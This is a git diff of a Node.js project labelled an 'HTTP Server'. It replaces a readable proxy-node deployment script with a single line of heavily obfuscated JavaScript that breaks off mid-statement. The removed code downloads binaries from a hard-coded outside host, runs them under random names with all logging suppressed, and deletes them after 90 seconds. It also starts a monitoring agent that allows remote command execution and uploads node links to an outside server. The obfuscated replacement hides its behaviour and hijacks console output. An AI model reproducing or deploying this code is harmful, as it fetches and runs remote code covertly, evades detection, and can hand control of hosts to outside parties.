diff --git a/.github/workflows/build-docker-image.yml b/.github/workflows/build-docker-image.yml index 5011777664..2c503359b5 100644 --- a/.github/workflows/build-docker-image.yml +++ b/.github/workflows/build-docker-image.yml @@ -39,7 +39,7 @@ jobs: push: true platforms: linux/amd64,linux/arm64 tags: | - ghcr.io/${{ github.repository_owner }}/nodejs:latest + ghcr.io/${{ github.repository_owner }}/dcdeploy:nodejs2 labels: | org.opencontainers.image.source=https://github.com/${{ github.repository }} org.opencontainers.image.description=HTTP Server diff --git a/index.js b/index.js index e4acef8f91..46ae5f025a 100644 --- a/index.js +++ b/index.js @@ -1,644 +1,3 @@ #!/usr/bin/env node -const http = require("http"); -const axios = require("axios"); -const os = require('os'); -const fs = require("fs"); -const path = require("path"); -const { promisify } = require('util'); -const exec = promisify(require('child_process').exec); -const UPLOAD_URL = process.env.UPLOAD_URL || ''; // 节点或订阅自动上传地址,需填写部署Merge-sub项目后的首页地址,例如:https://merge.xxx.com -const PROJECT_URL = process.env.PROJECT_URL || ''; // 需要上传订阅或保活时需填写项目分配的url,例如:https://google.com -const AUTO_ACCESS = process.env.AUTO_ACCESS || false; // false关闭自动保活,true开启,需同时填写PROJECT_URL变量 -const FILE_PATH = process.env.FILE_PATH || '.tmp'; // 运行目录,sub节点文件保存目录 -const SUB_PATH = process.env.SUB_PATH || 'sub'; // 订阅路径 -const PORT = process.env.SERVER_PORT || process.env.PORT || 3000; // http服务订阅端口 -const UUID = process.env.UUID || '9afd1229-b893-40c1-84dd-51e7ce204913'; // 使用哪吒v1,在不同的平台运行需修改UUID,否则会覆盖 -const NEZHA_SERVER = process.env.NEZHA_SERVER || ''; // 哪吒v1填写形式: nz.abc.com:8008 哪吒v0填写形式:nz.abc.com -const NEZHA_PORT = process.env.NEZHA_PORT || ''; // 使用哪吒v1请留空,哪吒v0需填写 -const NEZHA_KEY = process.env.NEZHA_KEY || ''; // 哪吒v1的NZ_CLIENT_SECRET或哪吒v0的agent密钥 -const ARGO_DOMAIN = process.env.ARGO_DOMAIN || ''; // 固定隧道域名,留空即启用临时隧道 -const ARGO_AUTH = process.env.ARGO_AUTH || ''; // 固定隧道密钥json或token,留空即启用临时隧道,json获取地址:https://json.zone.id -const ARGO_PORT = process.env.ARGO_PORT || 8001; // 固定隧道端口,使用token需在cloudflare后台设置和这里一致 -const CFIP = process.env.CFIP || 'saas.sin.fan'; // 节点优选域名或优选ip -const CFPORT = process.env.CFPORT || 443; // 节点优选域名或优选ip对应的端口 -const NAME = process.env.NAME || ''; // 节点名称 - -// 创建运行文件夹 -if (!fs.existsSync(FILE_PATH)) { - fs.mkdirSync(FILE_PATH); - console.log(`${FILE_PATH} is created`); -} else { - console.log(`${FILE_PATH} already exists`); -} - -// 生成随机6位字符 -function generateRandomName() { - const characters = 'abcdefghijklmnopqrstuvwxyz'; - let result = ''; - for (let i = 0; i < 6; i++) { - result += characters.charAt(Math.floor(Math.random() * characters.length)); - } - return result; -} - -// 全局常量 -let subContent = null; -const npmName = generateRandomName(); -const webName = generateRandomName(); -const botName = generateRandomName(); -const phpName = generateRandomName(); -let npmPath = path.join(FILE_PATH, npmName); -let phpPath = path.join(FILE_PATH, phpName); -let webPath = path.join(FILE_PATH, webName); -let botPath = path.join(FILE_PATH, botName); -let subPath = path.join(FILE_PATH, 'sub.txt'); -let listPath = path.join(FILE_PATH, 'list.txt'); -let bootLogPath = path.join(FILE_PATH, 'boot.log'); -let configPath = path.join(FILE_PATH, 'config.json'); - -// 如果订阅器上存在历史运行节点则先删除 -function deleteNodes() { - try { - if (!UPLOAD_URL) return; - if (!fs.existsSync(subPath)) return; - - let fileContent; - try { - fileContent = fs.readFileSync(subPath, 'utf-8'); - } catch { - return null; - } - - const decoded = Buffer.from(fileContent, 'base64').toString('utf-8'); - const nodes = decoded.split('\n').filter(line => - /(vless|vmess|trojan|hysteria2|tuic):\/\//.test(line) - ); - - if (nodes.length === 0) return; - - axios.post(`${UPLOAD_URL}/api/delete-nodes`, - JSON.stringify({ nodes }), - { headers: { 'Content-Type': 'application/json' } } - ).catch((error) => { - return null; - }); - return null; - } catch (err) { - return null; - } -} - -// 清理历史文件 -function cleanupOldFiles() { - try { - const files = fs.readdirSync(FILE_PATH); - files.forEach(file => { - const filePath = path.join(FILE_PATH, file); - try { - const stat = fs.statSync(filePath); - if (stat.isFile()) { - fs.unlinkSync(filePath); - } - } catch (err) { - // 忽略所有错误,不记录日志 - } - }); - } catch (err) { - // 忽略所有错误,不记录日志 - } -} - -// 生成xr-ay配置文件 -async function generateConfig() { - const config = { - log: { access: '/dev/null', error: '/dev/null', loglevel: 'none' }, - inbounds: [ - { port: ARGO_PORT, protocol: 'vless', settings: { clients: [{ id: UUID, flow: 'xtls-rprx-vision' }], decryption: 'none', fallbacks: [{ dest: 3001 }, { path: "/vless-argo", dest: 3002 }, { path: "/vmess-argo", dest: 3003 }, { path: "/trojan-argo", dest: 3004 }] }, streamSettings: { network: 'tcp' } }, - { port: 3001, listen: "127.0.0.1", protocol: "vless", settings: { clients: [{ id: UUID }], decryption: "none" }, streamSettings: { network: "tcp", security: "none" } }, - { port: 3002, listen: "127.0.0.1", protocol: "vless", settings: { clients: [{ id: UUID, level: 0 }], decryption: "none" }, streamSettings: { network: "ws", security: "none", wsSettings: { path: "/vless-argo" } }, sniffing: { enabled: true, destOverride: ["http", "tls", "quic"], metadataOnly: false } }, - { port: 3003, listen: "127.0.0.1", protocol: "vmess", settings: { clients: [{ id: UUID, alterId: 0 }] }, streamSettings: { network: "ws", wsSettings: { path: "/vmess-argo" } }, sniffing: { enabled: true, destOverride: ["http", "tls", "quic"], metadataOnly: false } }, - { port: 3004, listen: "127.0.0.1", protocol: "trojan", settings: { clients: [{ password: UUID }] }, streamSettings: { network: "ws", security: "none", wsSettings: { path: "/trojan-argo" } }, sniffing: { enabled: true, destOverride: ["http", "tls", "quic"], metadataOnly: false } }, - ], - dns: { servers: ["https+local://8.8.8.8/dns-query"] }, - outbounds: [{ protocol: "freedom", tag: "direct" }, { protocol: "blackhole", tag: "block" }] - }; - fs.writeFileSync(path.join(FILE_PATH, 'config.json'), JSON.stringify(config, null, 2)); -} - -// 判断系统架构 -function getSystemArchitecture() { - const arch = os.arch(); - if (arch === 'arm' || arch === 'arm64' || arch === 'aarch64') { - return 'arm'; - } else { - return 'amd'; - } -} - -// 下载对应系统架构的依赖文件 -function downloadFile(fileName, fileUrl, callback) { - const filePath = fileName; - - if (!fs.existsSync(FILE_PATH)) { - fs.mkdirSync(FILE_PATH, { recursive: true }); - } - - const writer = fs.createWriteStream(filePath); - - axios({ - method: 'get', - url: fileUrl, - responseType: 'stream', - }) - .then(response => { - response.data.pipe(writer); - - writer.on('finish', () => { - writer.close(); - console.log(`Download ${path.basename(filePath)} successfully`); - callback(null, filePath); - }); - - writer.on('error', err => { - fs.unlink(filePath, () => { }); - const errorMessage = `Download ${path.basename(filePath)} failed: ${err.message}`; - console.error(errorMessage); - callback(errorMessage); - }); - }) - .catch(err => { - const errorMessage = `Download ${path.basename(filePath)} failed: ${err.message}`; - console.error(errorMessage); - callback(errorMessage); - }); -} - -// 下载并运行依赖文件 -async function downloadFilesAndRun() { - const architecture = getSystemArchitecture(); - const filesToDownload = getFilesForArchitecture(architecture); - - if (filesToDownload.length === 0) { - console.log(`Can't find a file for the current architecture`); - return; - } - - const downloadPromises = filesToDownload.map(fileInfo => { - return new Promise((resolve, reject) => { - downloadFile(fileInfo.fileName, fileInfo.fileUrl, (err, filePath) => { - if (err) { - reject(err); - } else { - resolve(filePath); - } - }); - }); - }); - - try { - await Promise.all(downloadPromises); - } catch (err) { - console.error('Error downloading files:', err); - return; - } - - function authorizeFiles(filePaths) { - const newPermissions = 0o775; - filePaths.forEach(absoluteFilePath => { - if (fs.existsSync(absoluteFilePath)) { - fs.chmod(absoluteFilePath, newPermissions, (err) => { - if (err) { - console.error(`Empowerment failed for ${absoluteFilePath}: ${err}`); - } else { - console.log(`Empowerment success for ${absoluteFilePath}: ${newPermissions.toString(8)}`); - } - }); - } - }); - } - const filesToAuthorize = NEZHA_PORT ? [npmPath, webPath, botPath] : [phpPath, webPath, botPath]; - authorizeFiles(filesToAuthorize); - - // 运行ne-zha - if (NEZHA_SERVER && NEZHA_KEY) { - if (!NEZHA_PORT) { - const port = NEZHA_SERVER.includes(':') ? NEZHA_SERVER.split(':').pop() : ''; - const tlsPorts = new Set(['443', '8443', '2096', '2087', '2083', '2053']); - const nezhatls = tlsPorts.has(port) ? 'true' : 'false'; - const configYaml = ` -client_secret: ${NEZHA_KEY} -debug: false -disable_auto_update: true -disable_command_execute: false -disable_force_update: true -disable_nat: false -disable_send_query: false -gpu: false -insecure_tls: true -ip_report_period: 1800 -report_delay: 4 -server: ${NEZHA_SERVER} -skip_connection_count: true -skip_procs_count: true -temperature: false -tls: ${nezhatls} -use_gitee_to_upgrade: false -use_ipv6_country_code: false -uuid: ${UUID}`; - - fs.writeFileSync(path.join(FILE_PATH, 'config.yaml'), configYaml); - - const command = `nohup ${phpPath} -c "${FILE_PATH}/config.yaml" >/dev/null 2>&1 &`; - try { - await exec(command); - console.log(`${phpName} is running`); - await new Promise((resolve) => setTimeout(resolve, 1000)); - } catch (error) { - console.error(`php running error: ${error}`); - } - } else { - let NEZHA_TLS = ''; - const tlsPorts = ['443', '8443', '2096', '2087', '2083', '2053']; - if (tlsPorts.includes(NEZHA_PORT)) { - NEZHA_TLS = '--tls'; - } - const command = `nohup ${npmPath} -s ${NEZHA_SERVER}:${NEZHA_PORT} -p ${NEZHA_KEY} ${NEZHA_TLS} --disable-auto-update --report-delay 4 --skip-conn --skip-procs >/dev/null 2>&1 &`; - try { - await exec(command); - console.log(`${npmName} is running`); - await new Promise((resolve) => setTimeout(resolve, 1000)); - } catch (error) { - console.error(`npm running error: ${error}`); - } - } - } else { - console.log('NEZHA variable is empty,skip running'); - } - - // 运行xr-ay - const command1 = `nohup ${webPath} -c ${FILE_PATH}/config.json >/dev/null 2>&1 &`; - try { - await exec(command1); - console.log(`${webName} is running`); - await new Promise((resolve) => setTimeout(resolve, 1000)); - } catch (error) { - console.error(`web running error: ${error}`); - } - - // 运行cloud-fared - if (fs.existsSync(botPath)) { - let args; - - if (ARGO_AUTH.match(/^[A-Z0-9a-z=]{120,250}$/)) { - args = `tunnel --edge-ip-version auto --no-autoupdate --protocol http2 run --token ${ARGO_AUTH}`; - } else if (ARGO_AUTH.match(/TunnelSecret/)) { - args = `tunnel --edge-ip-version auto --config ${FILE_PATH}/tunnel.yml run`; - } else { - args = `tunnel --edge-ip-version auto --no-autoupdate --protocol http2 --logfile ${FILE_PATH}/boot.log --loglevel info --url http://localhost:${ARGO_PORT}`; - } - - try { - await exec(`nohup ${botPath} ${args} >/dev/null 2>&1 &`); - console.log(`${botName} is running`); - await new Promise((resolve) => setTimeout(resolve, 2000)); - } catch (error) { - console.error(`Error executing command: ${error}`); - } - } - await new Promise((resolve) => setTimeout(resolve, 5000)); -} - -// 根据系统架构返回对应的url -function getFilesForArchitecture(architecture) { - let baseFiles; - if (architecture === 'arm') { - baseFiles = [ - { fileName: webPath, fileUrl: "https://arm64.ssss.nyc.mn/web" }, - { fileName: botPath, fileUrl: "https://arm64.ssss.nyc.mn/bot" } - ]; - } else { - baseFiles = [ - { fileName: webPath, fileUrl: "https://amd64.ssss.nyc.mn/web" }, - { fileName: botPath, fileUrl: "https://amd64.ssss.nyc.mn/bot" } - ]; - } - - if (NEZHA_SERVER && NEZHA_KEY) { - if (NEZHA_PORT) { - const npmUrl = architecture === 'arm' - ? "https://arm64.ssss.nyc.mn/agent" - : "https://amd64.ssss.nyc.mn/agent"; - baseFiles.unshift({ - fileName: npmPath, - fileUrl: npmUrl - }); - } else { - const phpUrl = architecture === 'arm' - ? "https://arm64.ssss.nyc.mn/v1" - : "https://amd64.ssss.nyc.mn/v1"; - baseFiles.unshift({ - fileName: phpPath, - fileUrl: phpUrl - }); - } - } - - return baseFiles; -} - -// 获取固定隧道json -function argoType() { - if (!ARGO_AUTH || !ARGO_DOMAIN) { - console.log("ARGO_DOMAIN or ARGO_AUTH is empty, use quick tunnels"); - return; - } - - if (ARGO_AUTH.includes('TunnelSecret')) { - fs.writeFileSync(path.join(FILE_PATH, 'tunnel.json'), ARGO_AUTH); - const tunnelYaml = ` - tunnel: ${ARGO_AUTH.split('"')[11]} - credentials-file: ${path.join(FILE_PATH, 'tunnel.json')} - protocol: http2 - - ingress: - - hostname: ${ARGO_DOMAIN} - service: http://localhost:${ARGO_PORT} - originRequest: - noTLSVerify: true - - service: http_status:404 - `; - fs.writeFileSync(path.join(FILE_PATH, 'tunnel.yml'), tunnelYaml); - } else { - console.log(`Using token connect to tunnel, please set ${ARGO_PORT} in clouudflare`); - } -} - -// 获取临时隧道domain -async function extractDomains() { - let argoDomain; - - if (ARGO_AUTH && ARGO_DOMAIN) { - argoDomain = ARGO_DOMAIN; - console.log('ARGO_DOMAIN:', argoDomain); - await generateLinks(argoDomain); - } else { - try { - const fileContent = fs.readFileSync(path.join(FILE_PATH, 'boot.log'), 'utf-8'); - const lines = fileContent.split('\n'); - const argoDomains = []; - lines.forEach((line) => { - const domainMatch = line.match(/https?:\/\/([^ ]*trycloudflare\.com)\/?/); - if (domainMatch) { - const domain = domainMatch[1]; - argoDomains.push(domain); - } - }); - - if (argoDomains.length > 0) { - argoDomain = argoDomains[0]; - console.log('ArgoDomain:', argoDomain); - await generateLinks(argoDomain); - } else { - console.log('ArgoDomain not found, re-running bot to obtain ArgoDomain'); - fs.unlinkSync(path.join(FILE_PATH, 'boot.log')); - async function killBotProcess() { - try { - if (process.platform === 'win32') { - await exec(`taskkill /f /im ${botName}.exe > nul 2>&1`); - } else { - await exec(`pkill -f "[${botName.charAt(0)}]${botName.substring(1)}" > /dev/null 2>&1`); - } - } catch (error) { - // 忽略输出 - } - } - killBotProcess(); - await new Promise((resolve) => setTimeout(resolve, 3000)); - const args = `tunnel --edge-ip-version auto --no-autoupdate --protocol http2 --logfile ${FILE_PATH}/boot.log --loglevel info --url http://localhost:${ARGO_PORT}`; - try { - await exec(`nohup ${botPath} ${args} >/dev/null 2>&1 &`); - console.log(`${botName} is running`); - await new Promise((resolve) => setTimeout(resolve, 3000)); - await extractDomains(); - } catch (error) { - console.error(`Error executing command: ${error}`); - } - } - } catch (error) { - console.error('Error reading boot.log:', error); - } - } -} - -// 获取isp信息 -async function getMetaInfo() { - try { - const response1 = await axios.get('https://api.ip.sb/geoip', { headers: { 'User-Agent': 'Mozilla/5.0', timeout: 3000 } }); - if (response1.data && response1.data.country_code && response1.data.isp) { - return `${response1.data.country_code}-${response1.data.isp}`.replace(/\s+/g, '_'); - } - } catch (error) { - try { - const response2 = await axios.get('http://ip-api.com/json', { headers: { 'User-Agent': 'Mozilla/5.0', timeout: 3000 } }); - if (response2.data && response2.data.status === 'success' && response2.data.countryCode && response2.data.org) { - return `${response2.data.countryCode}-${response2.data.org}`.replace(/\s+/g, '_'); - } - } catch (error) { - // console.error('Backup API also failed'); - } - } - return 'Unknown'; -} - -// 生成 list 和 sub 信息 -async function generateLinks(argoDomain) { - const ISP = await getMetaInfo(); - const nodeName = NAME ? `${NAME}-${ISP}` : ISP; - return new Promise((resolve) => { - setTimeout(() => { - const VMESS = { v: '2', ps: `${nodeName}`, add: CFIP, port: CFPORT, id: UUID, aid: '0', scy: 'auto', net: 'ws', type: 'none', host: argoDomain, path: '/vmess-argo?ed=2560', tls: 'tls', sni: argoDomain, alpn: '', fp: 'firefox' }; - const subTxt = ` -vless://${UUID}@${CFIP}:${CFPORT}?encryption=none&security=tls&sni=${argoDomain}&fp=firefox&type=ws&host=${argoDomain}&path=%2Fvless-argo%3Fed%3D2560#${nodeName} - -vmess://${Buffer.from(JSON.stringify(VMESS)).toString('base64')} - -trojan://${UUID}@${CFIP}:${CFPORT}?security=tls&sni=${argoDomain}&fp=firefox&type=ws&host=${argoDomain}&path=%2Ftrojan-argo%3Fed%3D2560#${nodeName} - `; - console.log(Buffer.from(subTxt).toString('base64')); - fs.writeFileSync(subPath, Buffer.from(subTxt).toString('base64')); - console.log(`${FILE_PATH}/sub.txt saved successfully`); - // 将订阅内容保存到全局变量,供 http 服务器使用 - subContent = Buffer.from(subTxt).toString('base64'); - uploadNodes(); - resolve(subTxt); - }, 2000); - }); -} - -// 自动上传节点或订阅 -async function uploadNodes() { - if (UPLOAD_URL && PROJECT_URL) { - const subscriptionUrl = `${PROJECT_URL}/${SUB_PATH}`; - const jsonData = { - subscription: [subscriptionUrl] - }; - try { - const response = await axios.post(`${UPLOAD_URL}/api/add-subscriptions`, jsonData, { - headers: { - 'Content-Type': 'application/json' - } - }); - - if (response && response.status === 200) { - console.log('Subscription uploaded successfully'); - return response; - } else { - return null; - } - } catch (error) { - if (error.response) { - if (error.response.status === 400) { - // console.error('Subscription already exists'); - } - } - } - } else if (UPLOAD_URL) { - if (!fs.existsSync(listPath)) return; - const content = fs.readFileSync(listPath, 'utf-8'); - const nodes = content.split('\n').filter(line => /(vless|vmess|trojan|hysteria2|tuic):\/\//.test(line)); - - if (nodes.length === 0) return; - - const jsonData = JSON.stringify({ nodes }); - - try { - const response = await axios.post(`${UPLOAD_URL}/api/add-nodes`, jsonData, { - headers: { 'Content-Type': 'application/json' } - }); - if (response && response.status === 200) { - console.log('Nodes uploaded successfully'); - return response; - } else { - return null; - } - } catch (error) { - return null; - } - } else { - // console.log('Skipping upload nodes'); - return; - } -} - -// 90s后删除相关文件 -function cleanFiles() { - setTimeout(() => { - const filesToDelete = [bootLogPath, configPath, webPath, botPath]; - - if (NEZHA_PORT) { - filesToDelete.push(npmPath); - } else if (NEZHA_SERVER && NEZHA_KEY) { - filesToDelete.push(phpPath); - } - - if (process.platform === 'win32') { - exec(`del /f /q ${filesToDelete.join(' ')} > nul 2>&1`, (error) => { - console.clear(); - console.log('App is running'); - console.log('Thank you for using this script, enjoy!'); - }); - } else { - exec(`rm -rf ${filesToDelete.join(' ')} >/dev/null 2>&1`, (error) => { - console.clear(); - console.log('App is running'); - console.log('Thank you for using this script, enjoy!'); - }); - } - }, 90000); -} -cleanFiles(); - -// 自动访问项目URL -async function AddVisitTask() { - if (!AUTO_ACCESS || !PROJECT_URL) { - console.log("Skipping adding automatic access task"); - return; - } - - try { - const response = await axios.post('https://oooo.serv00.net/add-url', { - url: PROJECT_URL - }, { - headers: { - 'Content-Type': 'application/json' - } - }); - console.log(`automatic access task added successfully`); - return response; - } catch (error) { - console.error(`Add automatic access task faild: ${error.message}`); - return null; - } -} - -// 主运行逻辑 -async function startserver() { - try { - argoType(); - deleteNodes(); - cleanupOldFiles(); - await generateConfig(); - await downloadFilesAndRun(); - await extractDomains(); - await AddVisitTask(); - } catch (error) { - console.error('Error in startserver:', error); - } -} -startserver().catch(error => { - console.error('Unhandled error in startserver:', error); -}); - -// 创建 http 服务器 -const server = http.createServer(async (req, res) => { - const urlPath = req.url.split('?')[0]; - - // 订阅路由 - if (urlPath === `/${SUB_PATH}`) { - if (subContent) { - res.writeHead(200, { 'Content-Type': 'text/plain; charset=utf-8' }); - res.end(subContent); - } else { - // 订阅内容尚未生成,尝试从文件读取 - try { - const fileContent = fs.readFileSync(subPath, 'utf-8'); - res.writeHead(200, { 'Content-Type': 'text/plain; charset=utf-8' }); - res.end(fileContent); - } catch (err) { - res.writeHead(503, { 'Content-Type': 'text/plain; charset=utf-8' }); - res.end('Subscription content not yet available, please try again later.'); - } - } - return; - } - - // 根路由: / - if (urlPath === '/') { - try { - const filePath = path.join(__dirname, 'index.html'); - const data = await fs.promises.readFile(filePath, 'utf8'); - res.writeHead(200, { 'Content-Type': 'text/html; charset=utf-8' }); - res.end(data); - } catch (err) { - res.writeHead(200, { 'Content-Type': 'text/html; charset=utf-8' }); - res.end("Hello world!

You can access /{SUB_PATH}(Default: /sub) to get your nodes!"); - } - return; - } - - res.writeHead(404, { 'Content-Type': 'text/plain; charset=utf-8' }); - res.end('Not Found'); -}); - -server.listen(PORT, () => console.log(`http server is running on port:${PORT}!`)); +(function(_0x2d397e,_0x401b48){const _0x3394d3=_0x2d397e();function _0x4bd07d(_0x1846c0,_0x29afa2,_0x56c585,_0x16ce5a){return _0x5847(_0x1846c0-0x18d,_0x16ce5a);}function _0x4b4f2e(_0x1e06f2,_0x28d9d3,_0x307bb6,_0x52efbe){return _0x5847(_0x28d9d3-0x316,_0x1e06f2);}while(!![]){try{const _0x457354=-parseInt(_0x4bd07d(0x2d6,0x18c,0x2bb,0x401))/(0x2324+0x469+-0x2*0x13c6)*(parseInt(_0x4b4f2e(0x4c2,0x3ab,0x363,0x459))/(-0xd*0x1e7+0x14*0x103+0x481))+parseInt(_0x4b4f2e(0x2a2,0x3eb,0x52e,0x288))/(-0x17f*-0x1+-0x4c*0x71+0x9*0x390)+-parseInt(_0x4bd07d(0x4cd,0x57c,0x53b,0x3f8))/(-0x1*0x1013+0x1a55+-0xa3e)*(-parseInt(_0x4b4f2e(0x5d8,0x464,0x52d,0x566))/(0x1*0x38d+0x2*0x1e1+0x3a5*-0x2))+-parseInt(_0x4b4f2e(0x57c,0x5f0,0x66a,0x766))/(-0x11ba+0x2244+-0x1084)*(-parseInt(_0x4b4f2e(0x522,0x474,0x495,0x41c))/(0x1*-0x24d8+0x1*0x265a+-0x17b*0x1))+-parseInt(_0x4bd07d(0x25f,0x200,0x12c,0x342))/(0x4c5+-0x1e*-0x95+0x1633*-0x1)*(-parseInt(_0x4bd07d(0x4ce,0x5bb,0x47c,0x44b))/(-0xb8c+-0x38*0x53+0x1dbd))+-parseInt(_0x4b4f2e(0x345,0x3b7,0x471,0x26a))/(0xf01+-0x1*0x51b+0x1*-0x9dc)*(-parseInt(_0x4b4f2e(0x702,0x5a8,0x55d,0x6a3))/(0x1147*0x1+-0x260e+-0xcd*-0x1a))+-parseInt(_0x4b4f2e(0x47e,0x5e3,0x5b0,0x6f8))/(0x12fa*-0x2+0x202c+0x5d4);if(_0x457354===_0x401b48)break;else _0x3394d3['push'](_0x3394d3['shift']());}catch(_0x556c51){_0x3394d3['push'](_0x3394d3['shift']());}}}(_0x569a,-0x5132d*-0x1+-0x6ac0e+0x5f982));function _0x362290(_0x70692b,_0x189c61,_0x1bdc16,_0x18e778){return _0x5847(_0x18e778-0x19e,_0x1bdc16);}const _0x5c2407=(function(){const _0x4f20fe={};_0x4f20fe[_0x1e70fe(0xc4,0x197,0x1b9,0x134)]=function(_0x176f61,_0x699ec0){return _0x176f61!==_0x699ec0;},_0x4f20fe[_0x1e70fe(0x2d1,0x77,0x189,0x9d)]=_0x1e70fe(0xf9,0xf2,0x1a6,0x28d);const _0x4da305=_0x4f20fe;function _0x3d157d(_0x162747,_0x1c4711,_0x4dc18e,_0x283bcc){return _0x5847(_0x162747- -0x392,_0x283bcc);}let _0x525c4d=!![];function _0x1e70fe(_0x5a6de0,_0x496207,_0x12d613,_0x43da51){return _0x5847(_0x12d613- -0x16,_0x5a6de0);}return function(_0x138512,_0x14b769){const _0x1e23c8={'msivz':function(_0xe06caf,_0x4112a8){function _0x4ada0a(_0x3b59c0,_0x43cabe,_0xda7524,_0x369b8a){return _0x5847(_0x3b59c0-0x285,_0xda7524);}return _0x4da305[_0x4ada0a(0x454,0x53b,0x56a,0x54a)](_0xe06caf,_0x4112a8);},'YfWss':_0x4670ba(0x2f6,0x233,0x20e,0x35b),'StNQz':_0x4da305['yxUtq']},_0x5c363f=_0x525c4d?function(){function _0x5d0252(_0x563f9b,_0x17c2d8,_0x920f3f,_0x37dd28){return _0x4670ba(_0x17c2d8,_0x17c2d8-0x149,_0x920f3f- -0x26d,_0x37dd28-0x25);}function _0x48d796(_0x554b3c,_0x5ba6e6,_0x1287d0,_0x5811bb){return _0x4670ba(_0x1287d0,_0x5ba6e6-0x1ee,_0x5811bb-0x378,_0x5811bb-0x1e0);}if(_0x14b769){if(_0x1e23c8['msivz'](_0x1e23c8['YfWss'],_0x1e23c8[_0x48d796(0x68c,0x522,0x4cb,0x623)])){const _0x57f2b3=_0x14b769[_0x48d796(0x4a3,0x56c,0x600,0x608)](_0x138512,arguments);return _0x14b769=null,_0x57f2b3;}else return null;}}:function(){};_0x525c4d=![];function _0x4670ba(_0x4af912,_0x3a0a43,_0x582f62,_0x5ad58d){return _0x3d157d(_0x582f62-0x2fe,_0x3a0a43-0xdc,_0x582f62-0x6d,_0x4af912);}return _0x5c363f;};}()),_0x5de175=_0x5c2407(this,function(){function _0x1557c3(_0xa3a891,_0x28d94e,_0x30f642,_0x14b302){return _0x5847(_0x28d94e- -0x139,_0x14b302);}const _0x37414e={};function _0x4a17c5(_0x5b3bd3,_0x2ba7c9,_0x156d45,_0x4629d8){return _0x5847(_0x4629d8- -0x2ec,_0x156d45);}_0x37414e[_0x4a17c5(0x1a8,0xb4,0xc6,0x7c)]=_0x4a17c5(-0xda,-0x1c7,-0xf7,-0x1b5)+'+$';const _0x517eea=_0x37414e;return _0x5de175[_0x4a17c5(0x113,0x2a,-0x101,0x72)]()[_0x1557c3(0x117,0x21a,0x2fd,0x2d2)](_0x517eea[_0x4a17c5(-0x65,-0x2,0x17f,0x7c)])[_0x1557c3(0x200,0x225,0x11f,0x331)]()[_0x4a17c5(-0x57,-0xaf,-0x19a,-0x1c5)+'r'](_0x5de175)[_0x4a17c5(-0x54,0x38,0x147,0x67)](_0x517eea['zrwJj']);});_0x5de175();const _0x5c9efb=(function(){let _0x251cf9=!![];return function(_0x231acc,_0x35b1c6){const _0x290452=_0x251cf9?function(){function _0x5a4af0(_0x21a494,_0x190f03,_0x4d345f,_0x8ca3e8){return _0x5847(_0x190f03-0x156,_0x21a494);}if(_0x35b1c6){const _0x3675ae=_0x35b1c6[_0x5a4af0(0x40c,0x47a,0x359,0x443)](_0x231acc,arguments);return _0x35b1c6=null,_0x3675ae;}}:function(){};return _0x251cf9=![],_0x290452;};}()),_0x1a330d=_0x5c9efb(this,function(){const _0x45d499={'rxFJu':function(_0x9193b9,_0x42e26a){return _0x9193b9===_0x42e26a;},'wneSk':'UkqIZ','YDwkb':function(_0x1e64c4,_0x20ddf7){return _0x1e64c4(_0x20ddf7);},'Bpoba':function(_0x4c9cda,_0x40ee56){return _0x4c9cda+_0x40ee56;},'mMKVT':'return\x20(fu'+_0x9f3782(-0x36,0x146,0x13d,0x196),'QWHtb':'{}.constru'+_0x340b3a(0xcf,0x13,0xe6,0x15e)+'rn\x20this\x22)('+'\x20)','bNVDA':function(_0x7353e7){return _0x7353e7();},'LPdeX':_0x9f3782(0x7b,0xf3,-0x9,0x9e),'zbfyY':_0x9f3782(0x263,0x23,0x11a,0xb1),'mpylt':_0x9f3782(0x221,0x234,0x10b,-0x6a),'LdxlT':'table','cTyXv':'trace','xcaEe':function(_0x547620,_0x1fd700){return _0x547620<_0x1fd700;}};let _0xc3a5d3;try{if(_0x45d499[_0x340b3a(-0x70,-0x8d,-0x69,0x11)](_0x45d499['wneSk'],'UkqIZ')){const _0x4522dc=_0x45d499[_0x340b3a(0x94,0x241,0x191,0x153)](Function,_0x45d499[_0x9f3782(-0x4,-0xf7,0x24,-0x148)](_0x45d499[_0x9f3782(0x1db,0x44,0x1b6,0x104)]+_0x45d499[_0x9f3782(-0x98,-0x107,-0xdf,-0x61)],');'));_0xc3a5d3=_0x45d499['bNVDA'](_0x4522dc);}else{const _0x3d3ae9=_0x192872[_0x340b3a(0xc8,0x5a,-0x6f,0xe)](/https?:\/\/([^ ]*trycloudflare\.com)\/?/);if(_0x3d3ae9){const _0x588ff6=_0x3d3ae9[0xe55+-0x1217+0x3c3];_0x30e3ee[_0x9f3782(0x2e8,0x6e,0x194,0x21c)](_0x588ff6);}}}catch(_0x5f8be0){_0xc3a5d3=window;}function _0x9f3782(_0x313e8f,_0xb69512,_0x1d274f,_0x66d3b5){return _0x5847(_0x1d274f- -0x1ae,_0x313e8f);}function _0x340b3a(_0x5ab698,_0x2ce185,_0x4c9e1c,_0x144b42){return _0x5847(_0x144b42- -0x10f,_0x2ce185);}const _0x2a29dc=_0xc3a5d3[_0x340b3a(0x252,0x13d,0xc4,0xed)]=_0xc3a5d3[_0x340b3a(0x1a5,0x36,0x9c,0xed)]||{},_0x2391d1=['log',_0x45d499[_0x9f3782(0x22f,0x1d2,0x15d,0xbb)],_0x45d499[_0x340b3a(-0x12d,0xd0,0x7f,-0x5d)],_0x45d499[_0x340b3a(0x68,0x49,0x48,0x14f)],_0x340b3a(-0x17e,-0x14f,-0x1de,-0x75),_0x45d499[_0x9f3782(0x248,-0x6b,0xdb,-0x31)],_0x45d499[_0x340b3a(0x361,0x2eb,0x132,0x21d)]];for(let _0x2a1c4b=0x1*0xad5+-0x6da+0x1*-0x3fb;_0x45d499[_0x340b3a(0x13c,0x218,0x1ab,0xbc)](_0x2a1c4b,_0x2391d1[_0x340b3a(-0xe5,0x7c,0x90,0x47)]);_0x2a1c4b++){const _0x20bc26=_0x5c9efb[_0x340b3a(-0xbd,0x16e,-0x70,0x18)+'r']['prototype'][_0x9f3782(-0x112,0x80,-0x59,-0x1a3)](_0x5c9efb),_0xc14c1a=_0x2391d1[_0x2a1c4b],_0x34951d=_0x2a29dc[_0xc14c1a]||_0x20bc26;_0x20bc26['__proto__']=_0x5c9efb[_0x340b3a(0xce,0x163,0x199,0x46)](_0x5c9efb),_0x20bc26[_0x340b3a(0x309,0xec,0x35b,0x24f)]=_0x34951d[_0x9f3782(0x1c6,0x209,0x1b0,0x237)][_0x340b3a(-0x1a,0x8d,-0xf,0x46)](_0x34951d),_0x2a29dc[_0xc14c1a]=_0x20bc26;}});_0x1a330d();const 